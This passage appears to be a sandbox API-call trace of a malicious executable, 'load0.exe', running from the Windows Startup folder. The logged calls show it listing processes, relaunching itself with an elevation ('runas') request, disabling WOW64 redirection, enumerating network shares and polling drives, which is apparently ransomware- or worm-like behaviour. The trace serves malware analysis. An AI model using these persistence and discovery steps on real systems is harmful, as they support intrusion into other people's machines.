lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0286.113] lstrlenW (lpString="msoia.exe") returned 9 [0286.113] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0286.114] lstrlenW (lpString="explorer.exe") returned 12 [0286.114] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0286.115] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0286.115] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0286.115] lstrlenW (lpString="SearchUI.exe") returned 12 [0286.115] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0286.116] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0286.116] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0286.117] lstrlenW (lpString="load0.exe") returned 9 [0286.117] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0286.117] lstrlenW (lpString="load0.exe") returned 9 [0286.118] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0286.118] lstrlenW (lpString="svchost.exe") returned 11 [0286.118] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0286.119] lstrlenW (lpString="cmd.exe") returned 7 [0286.119] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0286.119] lstrlenW (lpString="conhost.exe") returned 11 [0286.120] Process32NextW (in: hSnapshot=0x1088, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0286.120] CloseHandle (hObject=0x1088) returned 1 [0286.120] Sleep (dwMilliseconds=0x1f4) Thread: id = 2559 os_tid = 0xc58 [0240.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce538 [0240.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x707768 [0240.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce418 [0240.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce418, Size=0x20) returned 0x66f920 [0240.829] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce418 [0240.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce418, Size=0x20) returned 0x66f9c0 [0240.830] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.830] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.830] Wow64DisableWow64FsRedirection (in: OldValue=0x21dff20 | out: OldValue=0x21dff20*=0x0) returned 1 [0240.830] lstrlenW (lpString="kernel32.dll") returned 12 [0240.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f920 | out: hHeap=0x630000) returned 1 [0240.830] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.830] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f9c0 | out: hHeap=0x630000) returned 1 [0240.830] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x707768, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\load0.exe")) returned 0x46 [0240.830] ShellExecuteExW (in: pExecInfo=0x21dff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x21dff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\load0.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0268.008] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32ba228 [0268.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32ba228, Size=0x20) returned 0x3f64640 [0268.009] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32ba468 [0268.009] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32ba468, Size=0x20) returned 0x3f64708 [0268.009] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0268.009] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0268.009] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0268.010] lstrlenW (lpString="kernel32.dll") returned 12 [0268.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64708 | out: hHeap=0x630000) returned 1 [0268.010] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0268.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64640 | out: hHeap=0x630000) returned 1 [0268.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0268.010] lstrlenW (lpString="runas") returned 5 [0268.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ce538 | out: hHeap=0x630000) returned 1 [0268.010] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0268.010] ReleaseMutex (hMutex=0xf3c) returned 1 [0268.011] Sleep (dwMilliseconds=0x1f4) [0268.561] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0268.561] ReleaseMutex (hMutex=0xf3c) returned 1 [0268.561] Sleep (dwMilliseconds=0x1f4) [0269.227] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0269.227] ReleaseMutex (hMutex=0xf3c) returned 1 [0269.227] Sleep (dwMilliseconds=0x1f4) [0269.771] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0269.771] ReleaseMutex (hMutex=0xf3c) returned 1 [0269.771] Sleep (dwMilliseconds=0x1f4) [0270.420] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0270.420] ReleaseMutex (hMutex=0xf3c) returned 1 [0270.420] Sleep (dwMilliseconds=0x1f4) [0270.967] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0270.967] ReleaseMutex (hMutex=0xf3c) returned 1 [0270.968] Sleep (dwMilliseconds=0x1f4) [0271.609] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0271.609] ReleaseMutex (hMutex=0xf3c) returned 1 [0271.609] Sleep (dwMilliseconds=0x1f4) [0272.178] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0272.178] ReleaseMutex (hMutex=0xf3c) returned 1 [0272.178] Sleep (dwMilliseconds=0x1f4) [0272.884] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0272.884] ReleaseMutex (hMutex=0xf3c) returned 1 [0272.884] Sleep (dwMilliseconds=0x1f4) [0273.454] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0273.454] ReleaseMutex (hMutex=0xf3c) returned 1 [0273.454] Sleep (dwMilliseconds=0x1f4) [0274.297] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0274.297] ReleaseMutex (hMutex=0xf3c) returned 1 [0274.297] Sleep (dwMilliseconds=0x1f4) [0275.049] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0275.049] ReleaseMutex (hMutex=0xf3c) returned 1 [0275.049] Sleep (dwMilliseconds=0x1f4) [0275.662] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0275.662] ReleaseMutex (hMutex=0xf3c) returned 1 [0275.662] Sleep (dwMilliseconds=0x1f4) [0276.224] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0276.224] ReleaseMutex (hMutex=0xf3c) returned 1 [0276.224] Sleep (dwMilliseconds=0x1f4) [0276.771] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0276.771] ReleaseMutex (hMutex=0xf3c) returned 1 [0276.771] Sleep (dwMilliseconds=0x1f4) [0277.327] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0277.327] ReleaseMutex (hMutex=0xf3c) returned 1 [0277.327] Sleep (dwMilliseconds=0x1f4) [0278.151] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0278.151] ReleaseMutex (hMutex=0xf3c) returned 1 [0278.151] Sleep (dwMilliseconds=0x1f4) [0279.135] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0279.135] ReleaseMutex (hMutex=0xf3c) returned 1 [0279.135] Sleep (dwMilliseconds=0x1f4) [0279.861] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0279.861] ReleaseMutex (hMutex=0xf3c) returned 1 [0279.861] Sleep (dwMilliseconds=0x1f4) [0280.625] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0280.625] ReleaseMutex (hMutex=0xf3c) returned 1 [0280.625] Sleep (dwMilliseconds=0x1f4) [0281.526] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0281.526] ReleaseMutex (hMutex=0xf3c) returned 1 [0281.526] Sleep (dwMilliseconds=0x1f4) [0282.306] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0282.306] ReleaseMutex (hMutex=0xf3c) returned 1 [0282.306] Sleep (dwMilliseconds=0x1f4) [0282.906] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0282.906] ReleaseMutex (hMutex=0xf3c) returned 1 [0282.906] Sleep (dwMilliseconds=0x1f4) [0283.498] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0283.498] ReleaseMutex (hMutex=0xf3c) returned 1 [0283.498] Sleep (dwMilliseconds=0x1f4) [0284.054] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0284.054] ReleaseMutex (hMutex=0xf3c) returned 1 [0284.054] Sleep (dwMilliseconds=0x1f4) [0284.883] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x0 [0284.883] ReleaseMutex (hMutex=0xf3c) returned 1 [0284.883] Sleep (dwMilliseconds=0x1f4) [0285.425] WaitForSingleObject (hHandle=0xf3c, dwMilliseconds=0x0) returned 0x102 [0285.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x677a70 | out: hHeap=0x630000) returned 1 Thread: id = 2560 os_tid = 0x26a4 [0240.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce328 [0240.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce328, Size=0x20) returned 0x66f830 [0240.779] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f830, Size=0x40) returned 0x642410 [0240.779] GetLogicalDrives () returned 0x4 [0240.779] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6cf7c8 [0240.811] GetComputerNameW (in: lpBuffer=0x6cf7cc, nSize=0x22dff64 | out: lpBuffer="NQDPDE", nSize=0x22dff64) returned 1 [0240.811] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x6df7d0 [0240.811] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22dff34 | out: lphEnum=0x22dff34*=0x647038) returned 0x0 [0240.813] WNetEnumResourceW (in: hEnum=0x647038, lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38 | out: lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38) returned 0x103 [0240.813] WNetCloseEnum (hEnum=0x647038) returned 0x0 [0240.813] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22dff34 | out: lphEnum=0x22dff34*=0x649fd8) returned 0x0 [0241.137] WNetEnumResourceW (in: hEnum=0x649fd8, lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38 | out: lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38) returned 0x0 [0241.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x684570 [0241.137] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6df7d0, lphEnum=0x22dff08 | out: lphEnum=0x22dff08*=0x646fd8) returned 0x0 [0241.145] WNetEnumResourceW (in: hEnum=0x646fd8, lpcCount=0x22dff04, lpBuffer=0x684570, lpBufferSize=0x22dff0c | out: lpcCount=0x22dff04, lpBuffer=0x684570, lpBufferSize=0x22dff0c) returned 0x103 [0241.145] WNetCloseEnum (hEnum=0x646fd8) returned 0x0 [0241.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x682560 [0241.145] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6df7f0, lphEnum=0x22dff08 | out: lphEnum=0x22dff08*=0x0) returned 0x4b8 [0256.586] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x3ef10a8 [0256.586] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x6df810, lphEnum=0x22dff08 | out: lphEnum=0x22dff08*=0x0) returned 0x4c6 [0256.590] WNetEnumResourceW (in: hEnum=0x649fd8, lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38 | out: lpcCount=0x22dff30, lpBuffer=0x6df7d0, lpBufferSize=0x22dff38) returned 0x103 [0256.590] WNetCloseEnum (hEnum=0x649fd8) returned 0x0 [0256.590] GetLogicalDrives () returned 0x4 [0256.590] Sleep (dwMilliseconds=0x64) [0257.030] GetLogicalDrives () returned 0x4 [0257.030] Sleep (dwMilliseconds=0x64) [0257.581] GetLogicalDrives () returned 0x4 [0257.581] Sleep (dwMilliseconds=0x64) [0258.102] GetLogicalDrives () returned 0x4 [0258.102] Sleep (dwMilliseconds=0x64) [0258.279] GetLogicalDrives () returned 0x4 [0258.280] Sleep (dwMilliseconds=0x64) [0258.455] GetLogicalDrives () returned 0x4 [0258.455] Sleep (dwMilliseconds=0x64) [0258.609] GetLogicalDrives () returned 0x4 [0258.609] Sleep (dwMilliseconds=0x64) [0258.959] GetLogicalDrives () returned 0x4 [0258.959] Sleep (dwMilliseconds=0x64) [0259.102] GetLogicalDrives () returned 0x4 [0259.102] Sleep (dwMilliseconds=0x64) [0259.261] GetLogicalDrives () returned 0x4 [0259.261] Sleep (dwMilliseconds=0x64) [0259.374] GetLogicalDrives () returned 0x4 [0259.375] Sleep (dwMilliseconds=0x64) [0259.616] GetLogicalDrives () returned 0x4 [0259.616] Sleep (dwMilliseconds=0x64) [0260.333] GetLogicalDrives () returned 0x4 [0260.333] Sleep (dwMilliseconds=0x64) [0261.231] GetLogicalDrives () returned 0x4 [0261.232] Sleep (dwMilliseconds=0x64) [0261.357] GetLogicalDrives () returned 0x4 [0261.357] Sleep (dwMilliseconds=0x64) [0261.536] GetLogicalDrives () returned 0x4 [0261.536] Sleep (dwMilliseconds=0x64) [0261.870] GetLogicalDrives () returned 0x4 [0261.870] Sleep (dwMilliseconds=0x64) [0262.287] GetLogicalDrives () returned 0x4 [0262.287] Sleep (dwMilliseconds=0x64) [0262.796] GetLogicalDrives () returned 0x4 [0262.796] Sleep (dwMilliseconds=0x64) [0263.269] GetLogicalDrives () returned 0x4 [0263.269] Sleep (dwMilliseconds=0x64) [0263.539] GetLogicalDrives () returned 0x4 [0263.540] Sleep (dwMilliseconds=0x64) [0263.716] GetLogicalDrives () returned 0x4 [0263.716] Sleep (dwMilliseconds=0x64) [0264.286] GetLogicalDrives () returned 0x4 [0264.286] Sleep (dwMilliseconds=0x64) [0264.592] GetLogicalDrives () returned 0x4 [0264.592] Sleep (dwMilliseconds=0x64) [0264.836] GetLogicalDrives () returned 0x4 [0264.836] Sleep (dwMilliseconds=0x64) [0265.051] GetLogicalDrives () returned 0x4 [0265.052] Sleep (dwMilliseconds=0x64) [0265.487] GetLogicalDrives () returned 0x4 [0265.487] Sleep (dwMilliseconds=0x64) [0265.706] GetLogicalDrives () returned 0x4 [0265.706] Sleep (dwMilliseconds=0x64) [0266.041] GetLogicalDrives () returned 0x4 [0266.041] Sleep (dwMilliseconds=0x64) [0266.160] GetLogicalDrives () returned 0x4 [0266.160] Sleep (dwMilliseconds=0x64) [0266.275] GetLogicalDrives () returned 0x4 [0266.275] Sleep (dwMilliseconds=0x64) [0266.460] GetLogicalDrives () returned 0x4 [0266.460] Sleep (dwMilliseconds=0x64) [0266.687] GetLogicalDrives () returned 0x4 [0266.687] Sleep (dwMilliseconds=0x64) [0267.069] GetLogicalDrives () returned 0x4 [0267.069] Sleep (dwMilliseconds=0x64) [0267.757] GetLogicalDrives () returned 0x4 [0267.757] Sleep (dwMilliseconds=0x64) [0267.917] GetLogicalDrives () returned 0x4 [0267.917] Sleep (dwMilliseconds=0x64) [0268.186] GetLogicalDrives () returned 0x4 [0268.186] Sleep (dwMilliseconds=0x64) [0268.385] GetLogicalDrives () returned 0x4 [0268.386] Sleep (dwMilliseconds=0x64) [0268.557] GetLogicalDrives () returned 0x4 [0268.557] Sleep (dwMilliseconds=0x64) [0268.768] GetLogicalDrives () returned 0x4 [0268.768] Sleep (dwMilliseconds=0x64) [0268.969] GetLogicalDrives () returned 0x4 [0268.969] Sleep (dwMilliseconds=0x64) [0269.227] GetLogicalDrives () returned 0x4 [0269.227] Sleep (dwMilliseconds=0x64) [0269.551] GetLogicalDrives () returned 0x4 [0269.551] Sleep (dwMilliseconds=0x64) [0269.769] GetLogicalDrives () returned 0x4 [0269.769] Sleep (dwMilliseconds=0x64) [0269.978] GetLogicalDrives () returned 0x4 [0269.978] Sleep (dwMilliseconds=0x64) [0270.160] GetLogicalDrives () returned 0x4 [0270.160] Sleep (dwMilliseconds=0x64) [0270.420] GetLogicalDrives () returned 0x4 [0270.420] Sleep (dwMilliseconds=0x64) [0270.605] GetLogicalDrives () returned 0x4 [0270.605] Sleep (dwMilliseconds=0x64) [0270.843] GetLogicalDrives () returned 0x4 [0270.843] Sleep (dwMilliseconds=0x64) [0271.016] GetLogicalDrives () returned 0x4 [0271.039] Sleep (dwMilliseconds=0x64) [0271.313] GetLogicalDrives () returned 0x4 [0271.313] Sleep (dwMilliseconds=0x64) [0271.514] GetLogicalDrives () returned 0x4 [0271.514] Sleep (dwMilliseconds=0x64) [0271.804] GetLogicalDrives () returned 0x4 [0271.805] Sleep (dwMilliseconds=0x64) [0272.008] GetLogicalDrives () returned 0x4 [0272.008] Sleep (dwMilliseconds=0x64) [0272.184] GetLogicalDrives () returned 0x4 [0272.184] Sleep (dwMilliseconds=0x64) [0272.423] GetLogicalDrives () returned 0x4 [0272.423] Sleep (dwMilliseconds=0x64) [0272.725] GetLogicalDrives () returned 0x4 [0272.725] Sleep (dwMilliseconds=0x64) [0273.031] GetLogicalDrives () returned 0x4 [0273.031] Sleep (dwMilliseconds=0x64) [0273.190] GetLogicalDrives () returned 0x4 [0273.190] Sleep (dwMilliseconds=0x64) [0273.352] GetLogicalDrives () returned 0x4 [0273.352] Sleep (dwMilliseconds=0x64) [0273.535] GetLogicalDrives () returned 0x4 [0273.535] Sleep (dwMilliseconds=0x64) [0273.817] GetLogicalDrives () returned 0x4 [0273.817] Sleep (dwMilliseconds=0x64) [0274.283] GetLogicalDrives () returned 0x4 [0274.283] Sleep (dwMilliseconds=0x64) [0274.796] GetLogicalDrives () returned 0x4 [0274.796] Sleep (dwMilliseconds=0x64) [0275.051] GetLogicalDrives () returned 0x4 [0275.051] Sleep (dwMilliseconds=0x64) [0275.260] GetLogicalDrives () returned 0x4 [0275.260] Sleep (dwMilliseconds=0x64) [0275.437] GetLogicalDrives () returned 0x4 [0275.437] Sleep (dwMilliseconds=0x64) [0275.568] GetLogicalDrives () returned 0x4 [0275.568] Sleep (dwMilliseconds=0x64) [0275.827] GetLogicalDrives () returned 0x4 [0275.827] Sleep (dwMilliseconds=0x64) [0276.034] GetLogicalDrives () returned 0x4 [0276.034] Sleep (dwMilliseconds=0x64) [0276.223] GetLogicalDrives () returned 0x4 [0276.223] Sleep (dwMilliseconds=0x64) [0276.399] GetLogicalDrives () returned 0x4 [0276.399] Sleep (dwMilliseconds=0x64) [0276.613] GetLogicalDrives () returned 0x4 [0276.613] Sleep (dwMilliseconds=0x64) [0276.770] GetLogicalDrives () returned 0x4 [0276.770] Sleep (dwMilliseconds=0x64) [0276.911] GetLogicalDrives () returned 0x4 [0276.911] Sleep (dwMilliseconds=0x64) [0277.174] GetLogicalDrives () returned 0x4 [0277.174] Sleep (dwMilliseconds=0x64) [0277.324] GetLogicalDrives () returned 0x4 [0277.324] Sleep (dwMilliseconds=0x64) [0277.459] GetLogicalDrives () returned 0x4 [0277.459] Sleep (dwMilliseconds=0x64) [0278.022] GetLogicalDrives () returned 0x4 [0278.022] Sleep (dwMilliseconds=0x64) [0278.348] GetLogicalDrives () returned 0x4 [0278.348] Sleep (dwMilliseconds=0x64) [0279.086] GetLogicalDrives () returned 0x4 [0279.086] Sleep (dwMilliseconds=0x64) [0279.452] GetLogicalDrives () returned 0x4 [0279.452] Sleep (dwMilliseconds=0x64) [0279.799] GetLogicalDrives () returned 0x4 [0279.799] Sleep (dwMilliseconds=0x64) [0280.093] GetLogicalDrives () returned 0x4 [0280.093] Sleep (dwMilliseconds=0x64) [0280.502] GetLogicalDrives () returned 0x4 [0280.502] Sleep (dwMilliseconds=0x64) [0280.890] GetLogicalDrives () returned 0x4 [0280.890] Sleep (dwMilliseconds=0x64) [0281.302] GetLogicalDrives () returned 0x4 [0281.302] Sleep (dwMilliseconds=0x64) [0281.651] GetLogicalDrives () returned 0x4 [0281.651] Sleep (dwMilliseconds=0x64) [0282.130] GetLogicalDrives () returned 0x4 [0282.130] Sleep (dwMilliseconds=0x64) [0282.509] GetLogicalDrives () returned 0x4 [0282.509] Sleep (dwMilliseconds=0x64) [0282.795] GetLogicalDrives () returned 0x4 [0282.795] Sleep (dwMilliseconds=0x64) [0282.993] GetLogicalDrives () returned 0x4 [0282.993] Sleep (dwMilliseconds=0x64) [0283.122] GetLogicalDrives () returned 0x4 [0283.122] Sleep (dwMilliseconds=0x64) [0283.310] GetLogicalDrives () returned 0x4 [0283.310] Sleep (dwMilliseconds=0x64) [0283.498] GetLogicalDrives () returned 0x4 [0283.498] Sleep (dwMilliseconds=0x64) [0283.705] GetLogicalDrives () returned 0x4 [0283.705] Sleep (dwMilliseconds=0x64) [0283.939] GetLogicalDrives () returned 0x4 [0283.939] Sleep (dwMilliseconds=0x64) [0284.054] GetLogicalDrives () returned 0x4 [0284.054] Sleep (dwMilliseconds=0x64) [0284.199] GetLogicalDrives () returned 0x4 [0284.199] Sleep (dwMilliseconds=0x64) [0284.580] GetLogicalDrives () returned 0x4 [0284.580] Sleep (dwMilliseconds=0x64) [0284.972] GetLogicalDrives () returned 0x4 [0284.972] Sleep (dwMilliseconds=0x64) [0285.278] GetLogicalDrives () returned 0x4 [0285.278] Sleep (dwMilliseconds=0x64) [0285.426] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0285.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x642410 | out: hHeap=0x630000) returned 1 Thread: id = 2561 os_tid = 0x26a8 [0240.780] GetTickCount () returned 0x142c1 [0240.780] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x6460e0 [0240.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6460e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc [0240.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6460e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0 [0240.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6460e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0240.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6460e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0240.782] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce3d0 [0240.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce3d0, Size=0x20) returned 0x66f830 [0240.783] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6ce3d0 [0240.783] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ce3d0, Size=0x20) returned 0x66f920 [0240.783] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0240.783] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0240.783] Wow64DisableWow64FsRedirection (in: OldValue=0x23dff7c | out: OldValue=0x23dff7c*=0x0) returned 1 [0240.783] lstrlenW (lpString="kernel32.dll") returned 12 [0240.783] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f830 | out: hHeap=0x630000) returned 1 [0240.784] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0240.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66f920 | out: hHeap=0x630000) returned 1 [0240.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, 